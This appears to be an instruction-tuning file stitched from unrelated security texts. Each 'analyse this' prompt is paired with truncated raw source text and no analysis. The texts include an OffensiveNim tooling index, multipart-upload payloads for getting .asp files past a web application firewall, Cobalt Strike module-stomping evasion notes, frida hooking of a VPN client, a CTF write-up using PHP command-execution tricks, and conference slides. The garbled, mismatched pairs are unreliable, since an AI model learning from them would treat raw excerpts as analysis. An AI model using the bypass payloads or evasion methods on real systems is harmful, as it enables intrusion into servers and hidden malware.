taskbar_ewmi_bin.nim
作⽤
编译
运⾏
fork_dump_bin.nim
作⽤
编译
运⾏
ldap_query_bin.nim
作⽤
编译
运⾏
sandbox_process_bin.nim
作⽤
编译
运⾏
list_remote_shares.nim
作⽤
编译
运⾏
chrome_dump_bin.nim
作⽤
编译
运⾏
suspended_thread_injection.nim
作⽤
6
编译
运⾏
steganography
简介
使⽤
nim-strenc
简介
使⽤
Nim-RunPE
简介
使⽤
NimGetSyscallStub
简介
使⽤
Nim_CBT_Shellcode
简介
使⽤
nimcrypto
简介
使⽤
winim
简介
使⽤
NimlineWhispersP
简介
⽤途
zippy
简介
⽤途
nuglifier
简介
⽤途
7
tiny-sqlite
简介
⽤途
编译命令
参考⽂献
OﬀensiveNim
steganography
nim-strenc
Nim-RunPE
NimGetSyscallStub
Nim_CBT_Shellcode
nimcrypto
winim
NimlineWhispers3
zippy
nugliﬁer
tiny_sqlite
该项⽬是S3cur3Th1sSh1t⼤佬开发的，项⽬当中的每个⽂件都可以单独编译，并且⽂件名字标识了这份
代码起到的作⽤。
直接调⽤MessageBoxA弹窗，但需要⾃⼰定义系统api函数调⽤的数据类型
项⽬列表
●
●
●
●
●
●
●
●
●
●
●
●
OﬀensiveNim
pop_bin.nim
作⽤
编译
8
通过winim调⽤windows api，减少需要编写的nim代码
运⾏
pop_winim_bin.nim
作⽤
编译
Bash
复制代码
nim cc --app=console --cpu=amd64 -d:release -d:strip --
out=bin/pop_bin64.exe  src\pop_bin.nim
1
9
通过winim库调⽤w...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

酒票
35
贡献
0
积分
46
注册时间
2013-1-31
发消息
c4rt1y
九零元老
 发表于 2016-4-17 06:31:25 |  只看该作者
       表哥已经在https://forum.90sec.org/forum.php?mod=viewthread&tid=9133这里写了一些方法，今晚在看别人的代
了，于是乎，今晚测试了下安全狗的上传，发现方法还是如此，依旧没任何变化，当然我们只拿安全狗为案列，因为方
过狗方法，这里感谢keio牛文档，我虽然也做了类似的，但是排版没你的好，就拿你的放上去了。
默认状态
[Bash shell] 纯文本查看 复制代码
突破0
[Bash shell] 纯文本查看 复制代码
突破1 去掉双引号
[Bash shell] 纯文本查看 复制代码
突破2 添加一个filename1
[Bash shell] 纯文本查看 复制代码
突破3 form中间+
[Bash shell] 纯文本查看 复制代码
突破4 大小写
[Bash shell] 纯文本查看 复制代码
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="[0x09]a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename=a.asp
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp";filename1="test.jpg"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: f+orm-data; name="filepath";filename="test.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
突破5 去掉form-data
[Bash shell] 纯文本查看 复制代码
突破6 在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格
[Bash shell] 纯文本查看 复制代码
[/mw_shl_code]
突破7 a.asp . (空格+.)
[Bash shell] 纯文本查看 复制代码
[/mw_shl_code]
突破8 "换行
[Bash shell] 纯文本查看 复制代码
突破9 NTFS流
[Bash shell] 纯文本查看 复制代码
突破10 经过对IIS 6.0的测试发现，其总是采用第一个Content-Disposition中的值做为接收参数，而安全狗总是以
求[上传test.asp成功]：
[Bash shell] 纯文本查看 复制代码
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
[mw_shl_code=bash,true]------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
[mw_shl_code=bash,true]...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

5/10/2007
DEFCON 15
1
GeoLocation of Wireless
Access Points  &
“Wireless GeoCaching”
Presented By:  Rick Hill
7/6/2007
DEFCON 15
2
The Problem:  802.11b Geo-Location
•
Researchers have documented at least 4 Techniques for
Geo-Location of Wireless Access Points (APs)1
•
Netstumbler doesn’t Geo-Locate –> It simply gives the
Driver’s GPS Position.
•
Netstumbling & GeoCaching Compared:
Wardrivers don’t locate AP’s with the same intent that
GeoCachers find Caches;  they’re content to simply find
New Networks. GeoCaching, in contrast, is all about
Precise Location…
•
What if we could combine the two?
Consider a New Sport:  “Wireless GeoCaching”
7/6/2007
DEFCON 15
3
What’s GeoCaching?
•
Wikipedia:
-
GeoCaching is an outdoor treasure-hunting
game in which the participants use a Global
Positioning System (GPS) receiver or other
navigational techniques to hide and seek
containers (called “GeoCaches" or "caches").
-
Typical Cache - a small waterproof container
containing a logbook & "treasure," usually
toys or trinkets of little monetary value.
7/6/2007
DEFCON 15
4
Project Goals
•
Our Goals:
-
Build an Automated 802.11b Tracking Device
using  OTS Components
-
Test Device in a Controlled Environment (the
Lake)
-
Participate in “Wireless GeoCaching” Game:
Geo-Locate hidden AP’s & Caches using
Netstumbler and Radio Direction Finding
(RDF) techniques.
7/6/2007
DEFCON 15
5
Project Concept
•
Of the 4 DF Methods ->
-
Received Signal Strength Indication (RSSI) +
Angle of Arrival (AOA) + Triangulation is easiest
to Implement
•
Our Platform:  Sea Ray Boat
•
Location:  Lake Anna, VA
•
Equipment:
-
Hardware - 15 Db YAGI Antenna, Stepping Motor &
Controller, Digital Compass, GPS, Dell Laptop
-
Software – XP, Netstumbler 0.4.0, Visual Basic 5.0
7/6/2007
DEFCON 15
6
Agenda
•
Background – Why is Wireless Tracking so
Hard???
•
4 Techniques – Advantages / Disadvantages
•
Building the Tracker  (HW/ SW)
•
Static Test with a Known AP
•
Wireless GeoCa...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Go Go Gadget Python
Nick Waite   Furkan Cayçı
Hardware for software people
• Gadgets are cool
• Writing drivers is not so easy
– Usually done in C
– Requires knowledge of low-level interfaces
– Can easily crash your box
• Many devices do not need compiled drivers
– Low data rates
– libUSB and other abstraction layers
• Is there a way to “rapid prototype” drivers?
– Fast, easy, fun
– Cross-platform would be nice
Python
• A very handy scripting language
• Modules for almost everything
• Even hardware…
– Pyserial
– Pyparallel
– PyUSB
• Looks like a winner!
Today’s Menu
USB
Serial
The Serial Port
• Electrical
– Full-duplex
– Hardware flow control (often not used)
– [0] + [n]*n_bits + [1]
– 0 = -3 to -15 volts, 1= 3 to 15 volts
• Mechanical
– DB-25, DE-9
• Often a USB device pretending to be serial port
Handshaking and cables
• Will add graphics later
– Much of the confusion in serial land revolves
around flow control and what kind to use
• True hardware flow control
– Fake local loopback flow control
• Software flow control (XON/XOFF)
• No flow control (most common nowadays)
– DCE/DTE – which side are you?
• Null modem cables
Serial in python
• It’s easy (mostly)
• There are some gotchas, however
>>> import serial
>>> s = serial.Serial('/dev/ttyS1', 9600)
>>> s.write("hello")
>>> print s.readline()
>>> s.close()
On actually using pySerial
• There are subtle issues with pyserial’s use in
robust  driver code
– Timeouts
– Flow control
– Buffering
– Alternating reads & writes
• Flush ports!
• TO BE COMPLETED LATER
Actual gadgets
• Demo showing actual code
• Demo sniffing serial transactions with special
cable?
USB
• A great example of a forward looking standard
– Since 1996, still backward compatible!
• Really is the universal bus
– Ever seen a PS/2 fondue pot?
– mmmm….cheese
• Practically, most cool gadgets
you will want to reverse-engineer are USB
– Many will be HID-class
USB made complicated
• A Device has
– Configuration(s)
which have
• Interface(s),
which have
– ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

⸺frida
0x00
443flagssl
IDAIDAVPN
443
0x01
Atrust
frida
idapwnLinuxfrida
idakpi
pwn
“”
frida
1. webvpn
2.
ida
3. hook
fridavpnhookfuzz
0x02
fridafridafrida
apkapkapkfridaobjection
Linuxmacwindowshookfridafridahook
fridahook
demofrida-traceclihook
vpn
ps -ef | grep ECAgent //pid
sudo /home/miku/miniconda3/envs/py3.8/bin/frida-trace -i "recv" -p 1328 //attach pidhookrecv
sorecvhookjshook
 sudo vim /home/miku/__handlers__/libc_2.27.so/recv.js
hookonEnteronLeavehook
recvlibpthread_2.27.sorecv
hook
0x03
bodyECAgentwritereadsocket
hookbody
writeread
writereadfdbufbodybufhookbuf
onEnteronLeavehookhook
onEnter(log, args, state) //argsfdbuf
onLeave(log, retval, state) //args
hookwritewritebuffdonEnterbufonEnter
bufhook readreadonEnterbufreadbuf
onLeavebufonLeaveargs
JavaScript api
nativepointer
emmm
0x04
linuxvpnfrida
fridaidaserverfrida
Fridahookappfrida
frida serverhookapp
0x05
frida
frida


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

我的CS笔记之- In-memory Evasion 4-5
0x00 前言
In-memory Evasion 4-5其中包含了威胁模拟的介绍，大致意思就是通过修改c2profile模仿真实APT的样
本会产生的特征行为等，也不是百分百模拟，就是模拟了一下yara规则中的静态特征，感兴趣的小伙伴
自行学习，我就不做笔记了。除了威胁模拟，视频中还介绍了cs3.11引入 的一些内存对抗新功能主要是
Module Stomping和cleanup这2个功能。这里不由感叹一句，自从CS被卖了以后的，更换了老大以
后，更新越来越不行了，还开始搞java代码混淆，class完整性校验。多把精力花在怎么进化CS上吧，
@Joe Vest @Greg Darwin（ps:虽然这俩肯定是看不到这个文档的）。
言归正传，我主要记录Module Stomping和cleanup这2个功能。
0x01 Module Stomping和cleanup
我们首先回忆一下In-memory Evasion 2中的stageless payload加载过程中的：
1. 申请一个块儿内存（allocate memory）
2. 复制Stager去这一块儿内存里
3. 创建一个线程，运行这个Stager
4. 这个Stager会再次申请一块儿内存
5. Stager去下载加密的payload，写入申请的内存中
6. Stager把执行流程转递给这个加密的payload
7. 加密的payload自解密成Reflective DLL
8. 然后把执行流程传递给Reflective DLL
9. Reflective DLL 申请一块儿内存
10. 然后初始化自己在新的内存里面
11. 最后reflective DLL 调用payload的入口点函数
上面的步骤分配了2次内存，在内存中如图所示：
1-3 我们可以使用artifact kit做自定义处理，但是9-11就很麻烦，9-11是一个反射DLL这个反射dll包含2
部分，一部分是反射loader，一部分是beacon的功能，9-10就是使用反射loader来加载beacon功能的
过程。这儿也是被防御查杀拦截的重点。我开始对CS4.4新的自定义反射dll loader kit理解错误，也是这
儿，cs4.4这个自定义kit自定义的只是这个反射loader，并不包含beacon的功能，而BeaconEye的查杀
点是Beacon功能中的行为，因此cs4.4这个kit也不能直接对抗BeaconEye，这个kit并不包含自定义
Beacon功能。回归正题，我们的Module Stomping是怎么在9-11中起作用的。
我们知道反射DLL分为反射dll loader和beacon的功能，在loader加载功能的时候，我们就可以做很多事
情，Module Stomping就是在这个过程中起作用的。
我们再看看Module Stomping，具体是什么。技术很简单，就是导入一个系统上正常的DLL进入内存
中，然后替换内存内容为我们的beacon功能，这样可以避免使用虚拟内存分配函数virtualAlloc等。同时
让beacon功能看上去很像一个正常DLL。这里面存在几个问题：
导入的DLL不能太小，太小导致内存空间小，不能够完全复制我们的beacon功能进去。
同一个DLL在不同系统上的大小可能是不一样，有些dll在win10上很大，08上只有1/3大小，因此
你上线win10正常，上线08可能就crash了。
这个系统的DLL必须有导出函数，因为反射loader需要通过导出函数去找DLL在内存中的位置
当然反射loader也有一些防止出错的机制：
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 1 / 2 - Welcome to www.red-team.cn
如果配置的系统DLL不存在，会返回使用VirtualAlloc
如果配置中的DLL，已经被进程导入了，会返回使用VirtualAlloc
使用前用一定要用c2lint测试一下
当然了我们写入到内存的beacon代码也是可以开启混淆的。因为Module Stomping功能具有一定隐蔽
性，因此适合长期潜伏通道。同时这个功能也不适合高频次的操作，操作多容易出错。
我们再回到1-3步中的如果不使用artifact kit自定义，使用默认的stageless，初始化的时候就存在一次内
存申请，申请的内存在后面其实是不会使用了，但是也没有释放，因此很容易被拿去做内存扫描特征，
如果我们设置了cleanup，就会调用VirtualFree释放这个初始化过程中的内存。
我们开启这3个配置...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

我是衬衫 忍者的帅气同学罢了 昨天晚上睡觉前做了两个小时的DarkCon的 CTF 然后今天我
看题目更新了 正好在向忍者师傅语音传授如何变得向我一样帅 然后我就发了题目链接给
他
1. WTF PHP
直接上传 php 后缀的文件没有任何的限制很简单 然后进入之后 phpinfo 看 disable_function
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcnt
l_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,
pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigp
rocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpri
ority,pcntl_setpriority,pcntl_async_signals,error_log,link,symlink,s
yslog,ld,mail,exec,passthru,shell_exec,system,proc_open,popen,curl_e
xec,curl_multi_exec,parse_ini_file,show_source,highlight_file,file,f
open,fread,var_dump,readfile
Flag 在/etc 目录下
直接 scandir 拿到路径 file_get_contents 就可以了
2. Easy PHP
题目要求不允许爆破 然后我第一件事情就是爆破 发现 robots.txt
?lmao
直接访问 index.php?Lmao
返回源代码
preg_replace 的命令执行 nic3=/a/e
然后 bruh 就是得找一个函数 这个函数需要通过 is_payload_danger
的过滤 要不然不行
我试了一下 eval 通过了 使用 eval(chr(ascii code))的方法
3. Capture the MEME
打开界面就是一个和我一样帅的人的 MEME 图片
我和忍者师傅的关注点一直停留在 URL 这里 我一开始没看题目内容 以为是
SSRF 什么的 后面看了提示的内容是 flag at /etc/flag.txt
我看了一会发现 Export 之后是 PDF 我直接就想到了 Nahamsec 之前那个 SSRF
的分享
我想了好几种在 URL 那里的思路 我以为是 URL 的位置是关键 弄了半天 但是最
后才发现这个 Top Text 这里才是关键直接插入 HTML 标签就可以了
直接用这个 Payload 就可以获取到 Flag
第一次打这种 CTF 虽然一共就做了三道题 比 LOL 好玩多了
总体来说题目简单的一笔 感觉再国内的比赛里面活不过第一集 好了 我去打
LOL 了


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

d
f h
Lord of the Bing
Taking Back Search Engine Hacking From Google and Bing
Taking Back Search Engine Hacking From Google and Bing
30 July 2010
Presented by:
Presented by:
Francis Brown and Rob Ragan
Stach & Liu, LLC
www.stachliu.com
A
d
Agenda
O V E R V I E W
• Introduction
• Advanced Attacks
• Google/Bing Hacking
Google/Bing Hacking
• Other OSINT Attack Techniques
• Advanced Defenses
• Advanced Defenses
• Future Directions
2
G
l
Goals
D E S I R E D  O U T C O M E
• To understand Google Hacking
• Attacks and defenses
• Advanced tools and techniques
• To think differently about exposures
caused by publicly available sources
• To blow your mind!
3
Introduction/
B
k
d
Background
G E T T I N G  U P  T O  S P E E D
4
O
 S
 I t lli
Open Source Intelligence
S E A R C H I N G  P U B L I C  S O U R C E S
OSINT – is a form of intelligence
OSINT
is a form of intelligence
collection management that involves
finding, selecting, and acquiring
i f
ti
 f
bli l
il bl
information from publicly available
sources and analyzing it to produce
actionable intelligence.
5
Q i k Hi t
Quick History
G O O G L E  H A C K I N G  R E C A P
Dates
Event
2004
Google Hacking Database  (GHDB) begins
g
g
(
)
g
May 2004
Foundstone SiteDigger v1 released
2005
Google Hacking v1 released by Johnny Long
J
2005
F
d t
Sit Di
2
l
d
Jan. 2005
Foundstone SiteDigger v2 released
Feb. 13, 2005
Google Hack Honeypot first release
Jan. 10, 2005
MSNPawn v1.0 released
Dec. 5, 2006
Google stops issuing Google SOAP API keys
…
…
6
Q i k Hi t
Quick History
G O O G L E  H A C K I N G  R E C A P
Dates
Event
Mar. 2007
Bing disables inurl: link: and linkdomain:
g
Nov. 2, 2007
Google Hacking v2 released
Mar. 2008
cDc Goolag ‐ gui tool released
J
3 2009
Bi
li
June 3, 2009
Bing goes online
Sept. 7, 2009
Google shuts down SOAP Search API
Nov. 2009
Binging tool released
Dec. 1, 2009
FoundStone SiteDigger v 3.0 released
2010
Googlag.org disappears
7
Th
 A
Threat Areas
W H A T   Y O U   S H O U L D   K N O W
8
G
l /Bi
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

HTTP Desync Attacks: Smashing into the Cell
Next Door
James Kettle - james.kettle@portswigger.net - @albinowax
Abstract
HTTP requests are traditionally viewed as isolated, standalone entities. In this paper, I'll explore forgotten
techniques for remote, unauthenticated attackers to smash through this isolation and splice their requests into
others, through which I was able to play puppeteer with the web infrastructure of numerous commercial and
military systems, rain exploits on their visitors, and harvest over $60k in bug bounties.
Using these targets as case studies, I'll show you how to delicately amend victim's requests to route them into
malicious territory, invoke harmful responses, and lure credentials into your open arms. I'll also demonstrate
using backend reassembly on your own requests to exploit every modicum of trust placed on the frontend,
gain maximum privilege access to internal APIs, poison web caches, and compromise PayPal's login page.
HTTP Request Smuggling was ﬁrst documented back in 2005 by Watchﬁre1, but a fearsome reputation for
difﬁculty and collateral damage left it mostly ignored for years while the web's susceptibility grew. Alongside
new attack variants and exploitation vectors, I'll help you tackle this legacy with custom open-source tooling
and a reﬁned methodology for reliable black-box detection, assessment and exploitation with minimal risk of
collateral damage.
Core concepts
Since HTTP/1.1 there's been widespread support for sending multiple HTTP requests over a single
underlying TCP or SSL/TLS socket. The protocol is extremely simple - HTTP requests are simply placed
back to back, and the server parses headers to work out where each one ends and the next one starts. This is
often confused with HTTP pipelining2, which is a rarer subtype that's not required for the attacks described in
this paper.
By itself, this is harmless. However, modern websites are composed of chains of systems, all talking over
HTTP. This multi-tiered archite...